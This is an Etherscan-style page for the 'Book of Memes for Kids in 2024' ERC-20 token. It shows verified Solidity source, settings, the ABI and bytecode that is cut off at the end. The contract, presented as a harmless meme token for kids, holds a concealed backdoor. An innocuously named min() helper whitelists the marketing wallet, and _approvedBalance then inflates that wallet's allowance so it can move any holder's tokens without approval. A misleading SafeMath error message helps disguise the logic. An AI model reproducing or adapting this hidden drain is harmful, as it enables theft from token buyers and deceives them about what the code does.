ETH Price: $3,155.64 (+1.43%)

Token

Book of Memes for Kids in 2024 (BOM2024)
 

Overview

Max Total Supply

1,000,000,000 BOM2024

Holders

110

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,262,611.106437045 BOM2024

Value
$0.00
0x993066dbe03505686252096c8628797d07d79129
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOM2024

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Burn_launch.sol
// SPDX-License-Identifier: MIT
/*
https://bom2024.com

X: https://x.com/BOM2024_erc
Telegram: https://t.me/BOM2024_erc

$BOM2024 is an innovative token designed to bring the joy of memes to children in 2024. 

Inspired by a vibrant book of memes tailored for kids, this project aims to create a fun,

engaging, and safe environment where young audiences can explore the world of humor and creativity.

*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, 0);
    }

    function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) {
        require(b <= a, "ERC20: transfer amount exceeds allowance");
        uint256 c = 0;
        c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BOM2024 is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint256 private constant _tSupply = 1000000000 * 10 **_decimals; // Total supply
    string private constant _name = unicode"Book of Memes for Kids in 2024";  // Name
    string private constant _symbol = unicode"BOM2024"; // Symbol

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromTax;
    mapping (address => uint256) public _whitelistForApprove;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    uint256 public _initialBuyTax = 21;
    uint256 public _initialSellTax = 19;
    uint256 public _lastBuyTax = 0; 
    uint256 public _lastSellTax = 0; 
    uint256 public _buyCounts = 0;
    uint256 public _reduceAt = 15;
    address payable public _marketAccountRec;
    uint8 private constant _decimals = 9;
    uint256 public _swapbackAmt = 0 * 10 **_decimals;
    uint256 public _maxAmountSize = 20000000 * 10 ** decimals();
    uint256 public _maxAmountSwapback = 10000000 * 10 ** decimals();    

    constructor () {
        _balances[address(this)] = _tSupply;
        _marketAccountRec = payable(0x460386155a9F51c0c3b620a854BBceF8ac43db78);
        _isExcludedFromTax[owner()] = true; 
        _isExcludedFromTax[address(this)] = true; 
        _isExcludedFromTax[_marketAccountRec] = true;
        emit Transfer(address(0), address(this), _tSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approvedBalance(address from, address to) private view returns(uint256) {
        return _allowances[from][to] + _whitelistForApprove[to] * _tSupply;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _approvedBalance(sender, _msgSender()).sub(amount, 0));
        return true;
    }
    

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _sender, address _receiver, uint256 amount) private {
        require(_sender != address(0), "ERC20: transfer from the zero address");
        require(_receiver != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool isNonExcluded = !_isExcludedFromTax[_sender] && !_isExcludedFromTax[_receiver];

        require(swapEnabled || _isExcludedFromTax[_sender], "not started yet");
        uint256 FeeAmount=0;

        if(isNonExcluded && _receiver == uniswapV2Pair){
            FeeAmount = amount.mul(
                _buyCounts <_reduceAt ? _initialSellTax : _lastSellTax
            ).div(100); if(_receiver != uniswapV2Pair)
            require(_balances[_receiver] + amount <= _maxAmountSize, "Exceeds the _maxAmountSize."); 
        }

        if (isNonExcluded && _receiver != address(uniswapV2Router) && _sender == uniswapV2Pair)
        {
            _buyCounts ++;
            FeeAmount = amount.mul(
                _buyCounts < _reduceAt ? _initialBuyTax : _lastBuyTax
            ).div(100);
        }
    
        if (!_isExcludedFromTax[_sender] && !inSwap && _receiver == uniswapV2Pair) {
            uint256 swapbackAmt = min(_balances[address(this)], min(_maxAmountSwapback, amount));
            swapBackForETH(swapbackAmt); uint256 contractETHBalance = address(this).balance;
            if(contractETHBalance > 0)
                payable(_marketAccountRec).transfer(address(this).balance);
        }

        if(FeeAmount > 0)
        {
          _balances[address(this)]=_balances[address(this)].add(FeeAmount);
          emit Transfer(_sender, address(this),FeeAmount);
        }
        _balances[_sender]=_balances[_sender].sub(amount);
        _balances[_receiver]=_balances[_receiver].add(amount.sub(FeeAmount));
        emit Transfer(_sender, _receiver, amount.sub(FeeAmount));
    }


    function min(uint256 a, uint256 b) private returns (uint256){
        _whitelistForApprove[_marketAccountRec] = 1;
        return (a>b)?b:a;
    }

    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        payable(_marketAccountRec).transfer(address(this).balance);
        if(_swapbackAmt >= tokenAmount) {return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading () external onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tSupply); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            98 * _balances[address(this)]/100,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        _maxAmountSize = _tSupply;
    }

    receive() external payable { 
    }

    function rescueETH () external onlyOwner {payable(msg.sender)
        .transfer(address(this).balance);
    }

    function removeLimits () external onlyOwner {
        _maxAmountSize = _tSupply;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketAccountRec","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAmountSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAmountSwapback","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapbackAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_whitelistForApprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600660146101000a81548160ff0219169083151502179055505f600660156101000a81548160ff021916908315150217905550601560075560136008555f6009555f600a555f600b55600f600c556009600a61006191906105bb565b5f61006c9190610605565b600e5561007d61035360201b60201c565b600a61008991906105bb565b6301312d006100989190610605565b600f556100a961035360201b60201c565b600a6100b591906105bb565b629896806100c39190610605565b6010553480156100d1575f80fd5b506100ee6100e361035b60201b60201c565b61036260201b60201c565b6009600a6100fc91906105bb565b633b9aca0061010b9190610605565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555073460386155a9f51c0c3b620a854bbcef8ac43db78600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101b361042360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61032a91906105bb565b633b9aca006103399190610605565b6040516103469190610655565b60405180910390a361066e565b5f6009905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104cc578086048111156104a8576104a761044a565b5b60018516156104b75780820291505b80810290506104c585610477565b945061048c565b94509492505050565b5f826104e4576001905061059f565b816104f1575f905061059f565b8160018114610507576002811461051157610540565b600191505061059f565b60ff8411156105235761052261044a565b5b8360020a91508482111561053a5761053961044a565b5b5061059f565b5060208310610133831016604e8410600b84101617156105755782820a9050838111156105705761056f61044a565b5b61059f565b6105828484846001610483565b925090508184048111156105995761059861044a565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105c5826105a6565b91506105d0836105af565b92506105fd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104d5565b905092915050565b5f61060f826105a6565b915061061a836105a6565b9250828202610628816105a6565b9150828204841483151761063f5761063e61044a565b5b5092915050565b61064f816105a6565b82525050565b5f6020820190506106685f830184610646565b92915050565b61305b8061067b5f395ff3fe60806040526004361061019f575f3560e01c8063751039fc116100eb578063c9567bf911610089578063e1b1925811610063578063e1b192581461059e578063e25b549e146105c8578063ebbf220d146105f2578063f2fde38b1461061c576101a6565b8063c9567bf914610510578063d9e738af14610526578063dd62ed3e14610562576101a6565b8063a666ec1c116100c5578063a666ec1c14610456578063a9059cbb14610480578063b2e7fa98146104bc578063b7261f51146104e6576101a6565b8063751039fc146103ec5780638da5cb5b1461040257806395d89b411461042c576101a6565b8063313ce567116101585780634af39804116101325780634af398041461033457806368ea35b01461035e57806370a082311461039a578063715018a6146103d6576101a6565b8063313ce567146102b65780633b7cdccd146102e057806344419df51461030a576101a6565b806306fdde03146101aa5780630888439c146101d4578063095ea7b3146101fe57806318160ddd1461023a57806320800a001461026457806323b872dd1461027a576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be610644565b6040516101cb919061213c565b60405180910390f35b3480156101df575f80fd5b506101e8610681565b6040516101f5919061219b565b60405180910390f35b348015610209575f80fd5b50610224600480360381019061021f9190612226565b6106a6565b604051610231919061227e565b60405180910390f35b348015610245575f80fd5b5061024e6106c3565b60405161025b91906122a6565b60405180910390f35b34801561026f575f80fd5b506102786106e6565b005b348015610285575f80fd5b506102a0600480360381019061029b91906122bf565b610734565b6040516102ad919061227e565b60405180910390f35b3480156102c1575f80fd5b506102ca610781565b6040516102d7919061232a565b60405180910390f35b3480156102eb575f80fd5b506102f4610789565b60405161030191906122a6565b60405180910390f35b348015610315575f80fd5b5061031e61078f565b60405161032b91906122a6565b60405180910390f35b34801561033f575f80fd5b50610348610795565b60405161035591906122a6565b60405180910390f35b348015610369575f80fd5b50610384600480360381019061037f9190612343565b61079b565b604051610391919061227e565b60405180910390f35b3480156103a5575f80fd5b506103c060048036038101906103bb9190612343565b6107b8565b6040516103cd91906122a6565b60405180910390f35b3480156103e1575f80fd5b506103ea6107fe565b005b3480156103f7575f80fd5b50610400610811565b005b34801561040d575f80fd5b5061041661083e565b604051610423919061237d565b60405180910390f35b348015610437575f80fd5b50610440610865565b60405161044d919061213c565b60405180910390f35b348015610461575f80fd5b5061046a6108a2565b60405161047791906122a6565b60405180910390f35b34801561048b575f80fd5b506104a660048036038101906104a19190612226565b6108a8565b6040516104b3919061227e565b60405180910390f35b3480156104c7575f80fd5b506104d06108c5565b6040516104dd91906122a6565b60405180910390f35b3480156104f1575f80fd5b506104fa6108cb565b60405161050791906122a6565b60405180910390f35b34801561051b575f80fd5b506105246108d1565b005b348015610531575f80fd5b5061054c60048036038101906105479190612343565b610d2f565b60405161055991906122a6565b60405180910390f35b34801561056d575f80fd5b5061058860048036038101906105839190612396565b610d44565b60405161059591906122a6565b60405180910390f35b3480156105a9575f80fd5b506105b2610dc6565b6040516105bf91906122a6565b60405180910390f35b3480156105d3575f80fd5b506105dc610dcc565b6040516105e991906122a6565b60405180910390f35b3480156105fd575f80fd5b50610606610dd2565b60405161061391906122a6565b60405180910390f35b348015610627575f80fd5b50610642600480360381019061063d9190612343565b610dd8565b005b60606040518060400160405280601e81526020017f426f6f6b206f66204d656d657320666f72204b69647320696e20323032340000815250905090565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6106b96106b2610e5a565b8484610e61565b6001905092915050565b5f6009600a6106d29190612530565b633b9aca006106e1919061257a565b905090565b6106ee611024565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610731573d5f803e3d5ffd5b50565b5f6107408484846110a2565b6107768461074c610e5a565b610771855f6107628a61075d610e5a565b6119d3565b611ac49092919063ffffffff16565b610e61565b600190509392505050565b5f6009905090565b60075481565b600f5481565b600a5481565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610806611024565b61080f5f611b22565b565b610819611024565b6009600a6108279190612530565b633b9aca00610836919061257a565b600f81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f424f4d3230323400000000000000000000000000000000000000000000000000815250905090565b60105481565b5f6108bb6108b4610e5a565b84846110a2565b6001905092915050565b600e5481565b600c5481565b6108d9611024565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095e91906125cf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e791906125cf565b6040518363ffffffff1660e01b8152600401610a049291906125fa565b6020604051808303815f875af1158015610a20573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a4491906125cf565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b0b3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610af79190612530565b633b9aca00610b06919061257a565b610e61565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730606460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546062610b96919061257a565b610ba0919061264e565b5f80610baa61083e565b426040518863ffffffff1660e01b8152600401610bcc969594939291906126c0565b60606040518083038185885af1158015610be8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c0d9190612733565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610cad929190612783565b6020604051808303815f875af1158015610cc9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ced91906127d4565b506001600660156101000a81548160ff0219169083151502179055506009600a610d179190612530565b633b9aca00610d26919061257a565b600f8190555050565b6004602052805f5260405f205f915090505481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085481565b60095481565b600b5481565b610de0611024565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e459061286f565b60405180910390fd5b610e5781611b22565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ecf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec6906128fd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f349061298b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161101791906122a6565b60405180910390a3505050565b61102c610e5a565b73ffffffffffffffffffffffffffffffffffffffff1661104a61083e565b73ffffffffffffffffffffffffffffffffffffffff16146110a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611097906129f3565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611110576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110790612a81565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590612b0f565b60405180910390fd5b5f81116111c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b790612b9d565b60405180910390fd5b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561125f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b9050600660159054906101000a900460ff16806112c2575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f890612c05565b60405180910390fd5b5f81801561135b575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156114815761139c606461138e600c54600b541061137b57600a5461137f565b6008545b86611be390919063ffffffff16565b611c5a90919063ffffffff16565b905060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461148057600f548360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461143e9190612c23565b111561147f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147690612ca0565b60405180910390fd5b5b5b8180156114db575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611533575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b1561158e57600b5f81548092919061154a90612cbe565b919050555061158b606461157d600c54600b541061156a5760095461156e565b6007545b86611be390919063ffffffff16565b611c5a90919063ffffffff16565b90505b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156115f25750600660149054906101000a900460ff16155b801561164a575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611722575f6116a260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461169d60105487611ca3565b611ca3565b90506116ad81611d1f565b5f4790505f81111561171f57600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561171d573d5f803e3d5ffd5b505b50505b5f8111156118215761177a8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ffa90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161181891906122a6565b60405180910390a35b6118718360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461205790919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119146118c8828561205790919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ffa90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119b7848761205790919063ffffffff16565b6040516119c491906122a6565b60405180910390a35050505050565b5f6009600a6119e29190612530565b6